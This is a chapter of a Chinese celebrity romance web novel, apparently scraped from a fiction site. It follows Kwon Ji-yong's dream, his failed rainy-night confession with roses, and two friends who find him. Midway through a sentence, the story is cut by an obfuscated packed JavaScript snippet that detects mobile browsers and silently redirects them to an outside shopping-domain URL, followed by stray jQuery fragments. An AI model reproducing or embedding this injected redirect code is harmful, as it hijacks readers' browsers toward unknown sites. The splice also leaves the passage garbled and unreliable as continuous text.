文趣网 > 都市小说 > [娱乐圈]巨星的眼泪攻略法 > 24.失恋总在下雨天
    是一双黝黑的如深夜般的眼眸,权至龙对上的那一刻看不出里面的任何情绪,只觉得对方眼睛下方那颗泪痣生得十分小巧的好看,它一点点地靠近,他似乎看清了它雾蒙蒙潮湿的模样……

    下一秒,一只柔软的手抚上了他的头顶,刚才被打的地方由淡淡的痛意变得痒了起来。

    “你没事吧?”她的语调像是一首舒缓的抒情曲音符一样溜进了他的耳朵,再跑到了血管里,扩张至身体各处,只过一瞬,权至龙都觉得全身痒的别扭极了。

    但这种别扭感也只维持了一瞬。

    随着那只手轻轻拍上他的头顶,又小心翼翼地揉了揉…取而代之的是心脏奇怪的摇颤。

    咚,咚咚,咚咚咚…从心脏的跳动越发强烈开始,意识也渐渐迷离起来。

    等到权至龙再回过神来,他发现自己已经身处在一片热闹喧嚣中。

    应该是一所夜店。

    耳朵里传来震耳欲聋的音乐,舞池里男男女女都在贴身热舞,但最引人注目的还是在舞池一角的一个男人。

    一身似是精致昂贵的衣服,一手拿着酒瓶仅是随着音乐的律动摇晃了几分,就引得周围连连叫好,甚至还传来接连不断的拍照声。

    黑暗之中权至龙似乎看到了男人微蹙的眉毛,他举起酒瓶,灌了一口又放下。

    这位男人现在应该不算开心,权至龙想,也许还有些寂寞。

    他又走进几步,终于看清了男人的脸。是一张与他极其相似的脸,或者说是多年以后他的模样,只是经历了时光的雕刻,原比现在的他成熟。

    周围的人开始不停的喊着GD,GD……好像这时的他已经足够成功了,应该实现了站在大舞台上的梦想,也拥有了很多很多财富。

    可是为什么还不开心呢?权至龙正疑惑着,就忽然有一个身影穿过了自己透明的身体,走到了那个已经被人人称为GD的男人面前。

    权至龙转过身,看向那个身影,才发现她竟是夏恩在的模样。

    “你来了…”应是已经酒醉,多年以后的他捧着酒瓶嘿嘿地笑着。

    “你没事吧?”她问。

    权至龙的心又痒了痒,然后他看见了那个捧着酒瓶的自己先是摇了摇头,然后又微不可查的轻轻地点了一下。

    只有一下,她还是捕捉到了。

    她拿走了他手中的酒瓶猛灌了一口,然后在他惊呼的一瞬间踮起脚,碰上了他的头————透明的权至龙回到了这具身体里面,他感受到了她轻轻揉搓着自己的头发,那是股酥酥麻麻的舒服感。

    还来不及细细品味,下一秒她就打开了双臂,紧紧抱住了自己。

    咚,咚咚…是从星星点点的欣喜开始烂漫的,在它们触及身体的每一处细胞时这份感情逐渐到达了顶点。

    权至龙缓缓伸出了手,也回抱住这个人,如她一样,紧紧的。

    瞬时一切如烟花般绽开……

    权至龙猛地惊醒,窗外才值破晓,他却没了睡意,因为心脏的跳动过于强烈。

    他慌里慌张地甩了甩,起身匆匆打开冰箱,喝了一大口冰水他才觉得心情平复了不少。

    “一定是因为夏恩在那天太过于没大没小才导致做了这么奇怪的梦,一定是。”

    “现在更应该关心的是真儿才是,她最近心情很不好的样子,我该做些什么能让她开心起来呢?”权至龙重新走进房间,打开抽屉寻找着有什么有趣的小物件。

    然后他就看见了放在第一层的橘子糖。

    脑海里涌进的第一个画面是那天夏恩在丢给他时生动鲜活的模样,后来他为什么没将它送给金真儿呢?

    大概是因为…这只是一颗小小的橘子糖而已,实在是太过普通了。

    他三下两下的撕开包装纸,一把将它直接塞进嘴里,一股酸酸的涩意直冲天灵感,权至龙觉得这甚至影响了他的判断,“啊!完全想不到该送些什么…”

    烦躁地在床上打滚,又在一个侧身之际他撞到了放在床头的存钱罐。

    哗啦哗啦,声音清脆,这里面大概是他从年初到现在积累下来的全部财产。

    “有了!”权至龙将里面的钱全数掏出直接塞进了口袋里,“就用这个准备一场盛大的告白吧,玫瑰花应该不错。”

    他想:他是很喜欢金真儿的,喜欢到可以为她付出掉这里的所有……

    ……

    老式彩铃的声音嗡嗡作响,夏莱半闭着眼睛摸索了半天,终于摸到了放在床头的手机,按下接听键。

    “谁啊?”大周末的,扰人清梦。

    “是夏恩在xi吧,不好意思这么早打扰你,我是东永培…”

    “东永培?”她揉了揉眼睛,才回忆起那天去YG的时候给索要电话号码的权至龙直接写在了纸上,东永培应该也是这么知道的,“永培xi,有什么事吗?”

    “请问你昨天有看见至龙吗,他从昨天下午到现在一直没回宿舍,上周也刚回过家…”他顿了顿,最近权至龙提到夏恩在的频率实在越来越频繁,“我想他最近跟你比较熟所以先问问你。”

    “昨天下午到现在?那岂不是一晚上没回去!”夏莱迷糊的大脑顿时清醒起来,“走之前他有说要去干什么吗?”

    东永裴努力回忆着:“他好像说要去花店买花什么的,可是也要不了这么久…”

    “好…”她努力平复了下呼吸,试图理清思路,“不管怎样你先去宿舍周围的花店找找,我这边也去找找觉得他可能去的地方…谁先找到了记得联系一下对方。”

    “好,谢谢你。”

    “别是被人贩子拐走了吧!”一挂掉电话夏莱就烦躁地抓了抓头发,“不对,还是得冷静一下,他去花店…去花店干什么呢?”她大脑飞速运转的同时翻找着衣服。

    “有了!买花的话八成跟金真儿有关。”

    夏莱匆匆换上了衣服,三步两步地跑出了房门,“阿爸,我出去一趟。”

    夏爸爸还没来得及说话,大门已经被打开又关上。

    “这孩子着什么急啊,外面还在下雨连把伞也不拿。”

    ……

    顾不上稀稀落落的雨点,夏莱几乎是连跑带颠,才赶上了差点就要开走的公交车,她步子虚乏地挤进里面,随便找了处较为空旷的地方握住把手,接着掏出口袋里的手机寻找着权至龙的电话号码。

    “嘟嘟……”然而对面的电话一直也没接通。

    “莫呀?不接东永培的电话也不接我的…”夏莱擦着额角的汗小声地嘟嘟囔囔起来:“还说什么需要电话号码保持联络,要了以后一个短信也没见他发过,现在电话也打不通…向这样还要我的号码干嘛,不知道怎么想的简直是大笨蛋一个!”

    一声轻笑突然传进她的耳朵里,夏莱顺着声音看过去,发现是隔了站在后面不远处的一个男生。

    原该是有点不爽的,但美丽的事物从来不会令人生厌。

    标准的撕漫男长相,鼻子高挺,眼窝深邃,笑起来勾起一侧的嘴角恰到好处地为他的面部增添了生机……不过男人和美色是不会影响她的正经事的。

    多看了两眼欣赏完大帅哥后夏莱绕到了门口,戴上衣服的帽子准备着下车。

    但是诡异的事情发生了,男生也绕到了她的身旁,按下了下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580934|203969||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    车铃,并且在下车后撑着把大黑伞由始至终地走在她的后面。

    随着她的步子越走越快,他的脚步声也越来越近……这人不会是个变态吧!

    拐到下一个路口后夏莱先一步侧过身站进死角里,随后默默伸出一只脚。

    李株赫差一点就被她拌了个大马趴,他急急忙忙地扶住了对面的墙,然后在她还未说话之前抢先一步说道:“是夏恩在xi吧?”

    夏莱懵懵地眨了眨眼。

    他捡起地上的伞撑了过来,“我也是要去找至龙的,他应该就在那边的小区我们一起过去吧。”

    ……

    距离很远的时候夏莱就看到了权至龙,他虽躲在小区游乐园的滑梯下,但滴滴答答的雨水仍是沿着边缘不停落下,身体被淋湿了大半,手里的玫瑰更是被打得七零八落……真的是好不狼狈的样子。

    “你怎么来了?”正在啃着手指的权至龙瞧见她的身影显然愣了愣,明明今早他在手机没电之前只给李株赫打了电话。

    “当然是因为永培xi给我打了电话,他很担心你,”她终于松了口气,对上他像被雨水浸透的浅色眼眸,说出了心里的担心,“我也是。”

    “对不起,你是来这里等真儿的吧,这里其实根本不是她家附近,我应该早点告诉你的。”

    是错觉吧,权至龙在她呼出的气息中感受到了温暖,冰冷的体温逐渐回升,糟糕的情绪也好似有了一点点好转…

    他看向有些自责的夏莱,居然能扯出一个微笑,“这些…本来就和你没什么关系,谈不上生气。”

    “既然这样,我们仨…”半缩在滑梯下的李株赫艰难地转过身,疑似明目张胆地阴阳权至龙,“就没必要像傻瓜一样,继续留在这里了吧。”

    “说什么傻瓜呢,这样的方式挺浪漫的,我有喜欢的人说不定也会这么做的。”夏莱反驳李株赫的同时脑子里也想起来了自己的失恋计划。

    失恋,下雨,玫瑰花,就是等一夜有点累啊…

    李株赫却是噗呲一下笑出了声,“恩在xi,作为亲近的后辈还是应该坦率些,明明刚刚在公交车上也说过他是笨蛋的,”他又拍了拍权至龙的肩,“跟你之前提过的一模一样呢,风风火火的胆子大得很。”

    果然都是错觉吧,在两个人唧唧哇哇下权至龙觉得自己的情绪不仅更加糟糕,连带着脑子也开始阵阵抽痛起来。

    “好了,我知道我是傻瓜。”他直接迈进雨里,走了几步才转头看向还在原地的两人,“不是说要回去吗,还不走?”

    “那也得打伞啊…”夏莱喊过去,人却越走越远。

    身后的李株赫也是不紧不慢地撑开伞,习以为常道:“没事儿,你可能还不够了解至龙,他大概觉得这样比较符合失恋的基调…说不定回去就能写下好几首曲子。”

    “走吧,不失恋的普通人还是要撑伞回去的。”

    “那你等等,”夏莱走上前去,捡起了不远处权至龙丢在地上的玫瑰花。

    “你捡这个干嘛?”某个在雨里浪漫的男子恰好在这时回头。

    “丢了多浪费啊…”

    更何况,她总要数数多少朵才好学啊。

    “夏恩在,你是学人精吗?”觉察到她查数的小动作后权至龙顿时脑子更痛了,他两三步走到她面前,抽走了她手中的玫瑰花然后将它丢进垃圾桶里。

    “告白不许搞这个。”

    甩下一句话后接着再度离开,留下一脸懵的夏莱。

    “我有惹他吗?”她回头问李株赫。

    “不知道。”他耸耸肩,只知道还是错估了,这场景正常人只有他一个。